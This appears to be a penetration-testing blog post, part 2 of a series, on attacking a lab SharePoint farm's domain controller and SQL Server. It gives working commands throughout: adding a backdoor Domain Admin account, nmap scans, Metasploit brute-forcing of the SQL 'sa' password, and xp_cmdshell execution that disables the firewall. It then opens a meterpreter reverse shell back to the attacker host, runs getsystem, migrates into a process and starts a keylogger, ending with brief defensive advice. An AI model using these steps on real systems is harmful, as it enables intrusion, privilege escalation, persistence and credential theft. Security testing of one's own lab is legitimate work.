Attacking the SharePoint Server from the Inside – Part 2

In the last post we looked at our network and how we could try and break into the system. We focused on the Domain Controller, using Metasploit to make connections to the servers and re-use authentication tokens to try and elevate out permissions.

https://www.helloitsliam.com/2015/02/11/attacking-the-sharepoint-server-from-the-inside-part-1/

In this post we will continue with the domain controller, seeing if we can elevate the account to a higher level than we have right now, then move onto the rest of servers starting with SQL Server.

Firstly if you remember we had created a “reverse_tcp” connection and loaded a windows command on the remote Linux workstation. We ran a command to add a test account, but what about if we wanted to create a domain account and add it to the domain administrator’s security group. To do this we would simply use the following command.

net user _hacker Pass@word1 /ADD
net localgroup Administrators  _hacker /ADD
net group "Domain Admins" _hacker /ADD /DOMAIN

Now of course to achieve this is very hard and unusual, your security policies for your Infrastructure would be really bad if this could be achieved that easily.

However I seen many SharePoint environments where certain accounts are granted higher permissions than they need. One of these is the account used for “User Profile Sync“, often it is granted incorrect permissions to the domain allowing for escalation and creation of accounts like demonstrated. As a reminder the “Profile Sync” account only needs “Replication” permission delegated to it. See the following article as a reminder.

https://technet.microsoft.com/en-us/library/hh296982.aspx

So now that we have seen that we could connect to the domain controller, grab an impersonation token and run a command prompt, I am sure that we could do this on another server. So let’s move down the stack and see what we can get to. We will start with the SQL Server, but first we need to know how to identify a SQL Server.

Running a simple “NMAP” scan can reveal information about servers. We already know that everything resides on the “192.168.1.0/24” subnet. We already know in my environment that all the server reside between “192.168.1.100” and “192.168.1.110“, so can limit the scan by IP addresses, and target port “1433” specifically.

If we didn’t know the IP address range then we could use an “Nmap” command to perform either an “ECHO” or “ARP” scan of the subnet.

nmap -sP -n 192.168.1.0/24

This would result in a list of all IP’s that responded. See as we already know the server range we can skip that and simply go straight for the port specific scans

nmap –sU –p 1433 –sV 192.168.1.100
nmap –sU –p 1433 –sV 192.168.1.101
nmap –sU –p 1433 –sV 192.168.1.102
nmap –sU –p 1433 –sV 192.168.1.103
nmap –sU –p 1433 –sV 192.168.1.104
nmap –sU –p 1433 –sV 192.168.1.105
nmap –sU –p 1433 –sV 192.168.1.106

After completing the scan we find the “192.168.1.103” is the SQL Server as it responded to the port scan of “1433“.

To confirm in more details we can run the following command.

nmap -sT -O -T5 192.168.1.103 -p 1433

This will interrogate the specified address further, performing a TCP scan, and try to understand the operating system, as well as check the port “1433” is open.

This lets us know that the server is running something that looks like “Server 2012” and confirms that port “1433” is open. So now we know it is a “real” live SQL Server now we can go back to our trusty “Metasploit” tool.

Loading Metasploit allows us to load an auxiliary module called “mssql_ping“.

use auxiliary/scanner/mssql/mssql_ping

Running “show options” allows us to set the values needed for the module to run. The first thing is to set the “RHOSTS” parameter.

set RHOSTS 192.168.1.103

Once set this will then allow us to scan the specified server. This should be a quick scan and return the following output.

This shows us that SQL is running, the instance name and the version. So now we have proved this we can start to brute force the SQL Server. Now the key to this command above working is the following service being enabled on the SQL Servers.

If this service is not running then the “Metasploit” module cannot get this information. In fact by default this service is disabled on default SQL Server installations. So to now start attacking we can use another auxiliary module called “mssql_login“.

use auxiliary/scanner/mssql/mssql_login

Running a “show options” gives a lot of options.

We set these items as we did before using the “SET” command and the parameter name. For our first test I am simply going to set the basic options and run it.

This returns us nothing at all apart from a successful run.

If we set the “PASSWORD” option to what we think it should be then we can run it again, this time it will scan passing a username (“sa“), and a password (“Password“). If our password was actually “Password” then this would be successful.

Of course in reality that should not be a password ever used for anything. So if we don’t know the password then we need to pass it a file of username or passwords, or both. For this example I have a file that has the following passwords, the top 25 for 2014.

We now need to set the “PASS_FILE” and remove the “PASSWORD” we set earlier.

set PASSWORD ""
set PASS_FILE /root/Downloads/SQLPasswords.txt

Now we can run the exploit and see if we can guess the “sa” password that way. Of course there are plenty of wordlists out there to use for this. While running it will try to authenticate against the server using all the passwords in the file with the “sa” username.

So we gained access to the SQL Server now with the super secure password of “trustno1“. So what next?

Now we look at using SQL to perform escalation of accounts for us, or we could simply spin up a windows machine and use SQL Management Studio to login with the credentials we gathered. Firstly now we have an account we should run a enumeration against it looking for other exploits we can us.

use auxillary/admin/mssql/mssql_enum

For this tool we need to set the “RHOST“, “PASSWORD” and “USERNAME“, so we have all of these details from the last scan.

set RHOST 192.168.1.103
set PASSWORD trustno1
set USERNAME sa

This tool, scans the entire database server listing all database files, stored procedures, accounts and polices applied to this SQL Server. Most importantly it lists out whether some of the known exploitable parameters are enabled or available.

Now the one method that works well here is the “xp_cmdshell” function that is disabled by default. However we can use another auxiliary module to try and use this.

use auxillary/admin/mssql/mssql_exec

This command allows us to pass a command directly to the server we have credentials for. The command we can try first is to view the current state of the “Firewall”

set RHOST 192.168.1.103
set PASSWORD trustno1
set CMD netsh firewall show state

When this runs, it will try to enable the “xp_cmdshell” function and then run the command we specified. If this works we should get something similar to this.

This is very useful as we can now see what is enabled and what is not. If the “Operational Mode” was set to “Enable” we could run the following commend to disable it.

set CMD netsh firewall set opmode disable

If we run this now, and then check the status it should have been changed.

Not that we needed the “Firewall” disabled but this does give us the ability to check for further exploits that are not SQL related. As you can see with this enabled we can now simply create user accounts on the SQL Server, local to box, and grant it local Administrator permissions which would allow us to have a permanent way onto the server.

One step we could take would be to create a “reverse shell” from the SQL server directly to our Linux machine. This is similar to what we did in the last post.

use exploit/windows/mssql/mssql_payload
set RHOST 192.168.1.103
set PASSWORD trustno1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.19

Once we have set the values we should be able to run the exploit. While this is running we will see output as it works on connecting a remote connection to the server.

Now that we have a session we can use other commands to get processes that are running or other information.

“sysinfo” – Server Name and Basic Details

“ps” – All running Processes and Accounts

Now the fun can begin, we can then run “getsystem” which will gain us system, privileges. Now we can take ownership of a process giving us root access.

Now we can rerun the “ps” command we used before and list out the processes. For this I am going to choose “PowerShell.exe” which is currently running as “KONESIS\Administrator“. This is done by using the “migrate” command with the “PID” of the process we want to use.

migrate 2896

Now we can do all kinds of things, a simple thing would be to setup a key logger using “post/windows/capture/keylog_recorder“. I won’t go through this yet, but what happens is the Linux session sits waiting for key strokes.

So if someone happens to log onto the server everything should be recorded. In our test we simply ran a few command in a command window and they were outputted as expected. Nothing exciting though.

So as you can see attacking a SQL Server can be fun and sometimes very easy to do. Think about your infrastructure and see if you have multiple SQL Servers that could be compromised. Remember as before it may not be a SQL Server that is dedicated to the SharePoint farm that could be compromised, if the service accounts are the same or passwords are the same.

Key Points: Most SQL attacks could be thwarted by ensuring 1434 is not available (SQL Browser Service) and better passwords are used. Also using specific accounts and passwords for the SharePoint SQL Servers that differ from others in your organization. Make sure you are using better passwords and not on of the top 25 ones for 2014 J